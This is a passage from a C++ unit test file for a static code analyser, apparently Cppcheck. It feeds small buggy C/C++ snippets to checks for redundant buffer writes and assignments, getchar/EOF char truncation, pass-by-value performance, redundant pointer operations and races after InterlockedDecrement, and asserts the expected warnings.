ASSERT_EQUALS(\"\", errout_str());\n\n // Writing to different parts of a buffer\n check(\"void f(void* a) {\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a+5, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Use variable as second argument\n check(\"void f(void* a, void* b) {\\n\"\n \" memset(a, 0, 5);\\n\"\n \" memcpy(b, a, 5);\\n\"\n \" memset(a, 1, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // strcat is special\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strcat(a, bar);\\n\" // Not redundant\n \" strcpy(a, x);\\n\" // Redundant\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n // Tests with function call between copy\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" snprintf(a, foo, bar);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void* a;\\n\"\n \"void f() {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", \"\", errout_str());\n\n check(\"void bar(void* a) {}\\n\"\n \"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar(a);\\n\" // Passed as argument\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" if(x)\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4455 - initialization of local buffer\n check(\"void f(void) {\"\n \" char buf[10];\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" char buf[10] = {0};\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'buf' is being written before its old content has been used.\\n\", errout_str());\n\n // #5689 - use return value of strcpy\n check(\"int f(void* a) {\\n\"\n \" int i = atoi(strcpy(a, foo));\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7175 - read+write\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\" // <- read + write\n \" strcpy(buf, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\"\n \" strcpy(buf, x);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantAssignmentSameValue() {\n check(\"int main() {\\n\" // #11642\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:5]: (style) Variable 'a' is assigned an expression that holds the same value. [redundantAssignment]\\n\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b + 1;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b = 5;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:11]: (style) Redundant initialization for 'b'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\", errout_str());\n\n check(\"int f(int i) {\\n\" // #12874\n \" int j = i + 1;\\n\"\n \" if (i > 5)\\n\"\n \" j = i;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12894\n \" std::string a;\\n\"\n \" void f(const S& s);\\n\"\n \" void g(const S& s);\\n\"\n \"};\\n\"\n \"void S::f(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" this->operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\"\n \"void S::g(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varFuncNullUB() { // #4482\n check(\"void a(...);\\n\"\n \"void b() { a(NULL); }\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability) Passing NULL after the last typed argument to a variadic function leads to undefined behaviour. [varFuncNullUB]\\n\", errout_str());\n\n check(\"void a(char *p, ...);\\n\"\n \"void b() { a(NULL, 2); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCastIntToCharAndBack() { // #160\n\n // check getchar\n check(\"void f() {\\n\"\n \"unsigned char c; c = getchar();\\n\"\n \" while( c != EOF)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \"unsigned char c = getchar();\\n\"\n \" while( EOF != c)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c; c = getchar();\\n\"\n \" while( EOF != c )\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c;\\n\"\n \" while( EOF != ( c = getchar() ) )\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( i != EOF)\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( EOF != i )\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check getc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check fgetc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"signed char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // cin.get()\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (EOF != ch) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (ch != EOF) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( EOF != i ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( i != EOF ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCommaSeparatedReturn() {\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return c::b;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4943 take care of C++11 initializer lists\n check(\"std::vector Bar() {\\n\"\n \" return\\n\"\n \" {\\n\"\n \" { \\\"1\\\" },\\n\"\n \" { \\\"2\\\" },\\n\"\n \" { \\\"3\\\" }\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkPassByReference() {\n // #8570 passByValue when std::move is used\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a(std::move(a)) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a{std::move(a)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{std::move(a2)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{a2} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2(a2) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::map m;\\n\" // #10817\n \"void f(const decltype(m)::const_iterator i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int (*pf) (std::vector) = nullptr;\\n\" // #12118\n \"int f(std::vector v) {\\n\"\n \" return v.size();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" pf = f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:10] -> [test.cpp:2:24]: (performance) Function parameter 'v' should be passed by const reference. However it seems that 'f' is a callback function. [passedByValueCallback]\\n\",\n errout_str());\n\n check(\"template struct A;\\n\" // #12621\n \"template\\n\"\n \"struct B { A a; };\\n\"\n \"template\\n\"\n \"struct A { B b; };\\n\"\n \"template\\n\"\n \"struct C : public virtual A, public virtual B {\\n\"\n \" A x;\\n\"\n \" B y;\\n\"\n \" C(A x_, B y_) : x(x_), y(y_) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"template \\n\" // #13537\n \" struct S {\\n\"\n \" T a[N];\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n Settings settingsUnix32 = settingsBuilder().platform(Platform::Type::Unix32).build();\n check(\"struct S {\\n\" // #13850\n \" int i0 : 32;\\n\"\n \" int i1 : 16;\\n\"\n \" unsigned short u16;\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\", true, true, true, false, &settingsUnix32);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparisonFunctionIsAlwaysTrueOrFalse() {\n // positive test\n check(\"bool f(int x){\\n\"\n \" return isless(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isless(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreaterequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreaterequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n // no warning should be reported for\n check(\"bool f(int x, int y){\\n\"\n \" return isgreaterequal(x,y) && islessequal(x,y) && islessgreater(x,y) && isgreater(x,y) && isless(x,y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void integerOverflow() { // 5895\n // no signed integer overflow should happen\n check(\"void f(unsigned long long ull) {\\n\"\n \" if (ull == 0x89504e470d0a1a0a || ull == 0x8a4d4e470d0a1a0a) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantPointerOp() {\n check(\"int *f(int *x) {\\n\"\n \" return &*x;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'x' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int *f(int *y) {\\n\"\n \" return &(*y);\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'y' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #10991\n \" int value = 4;\\n\"\n \" int result1 = *(&value);\\n\"\n \" int result2 = *&value;\\n\"\n \" return result1 + result2;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\"\n \"[test.cpp:4:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int& a, int b) {\\n\"\n \" *(&a) = b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Redundant pointer operation on 'a' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int**& p) {}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define\tRESTORE(ORIG, COPY) { *ORIG = *COPY; }\\n\"\n \"void f(int* p, int i) {\\n\"\n \" RESTORE(p, &i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // no warning for bitwise AND\n check(\"void f(const int *b) {\\n\"\n \" int x = 0x20 & *b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // No message for double pointers to structs\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // another double pointer to struct - with an array\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // double pointer to array\n check(\"void f(char **ptr) {\\n\"\n \" int *x = &(*ptr)[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\", errout_str());\n\n // function calls\n check(\"void f(Mutex *mut) {\\n\"\n \" pthread_mutex_lock(&*mut);\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Redundant pointer operation on 'mut' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // make sure we got the AST match for \"(\" right\n check(\"void f(char *ptr) {\\n\"\n \" if (&*ptr == NULL)\\n\"\n \" return;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Redundant pointer operation on 'ptr' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // no warning for macros\n checkP(\"#define MUTEX_LOCK(m) pthread_mutex_lock(&(m))\\n\"\n \"void f(struct mutex *mut) {\\n\"\n \" MUTEX_LOCK(*mut);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define B(op) bar(op)\\n\"\n \"#define C(orf) B(&orf)\\n\"\n \"void foo(const int * pkey) {\\n\"\n \" C(*pkey);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void test_isSameExpression() { // see #5738\n check(\"bool isInUnoIncludeFile(StringRef name) {\"\n \" return name.startswith(SRCDIR \\\"/com/\\\") || name.startswith(SRCDIR \\\"/uno/\\\");\\n\"\n \"};\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void raceAfterInterlockedDecrement() {\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" whatever();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (!counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 < counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 == counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 != counter)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 >= counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (!newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 < newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 == newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 != newCount)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 >= newCount)\\n\"\n \" destroy;\\n\"\n \"}\");\n 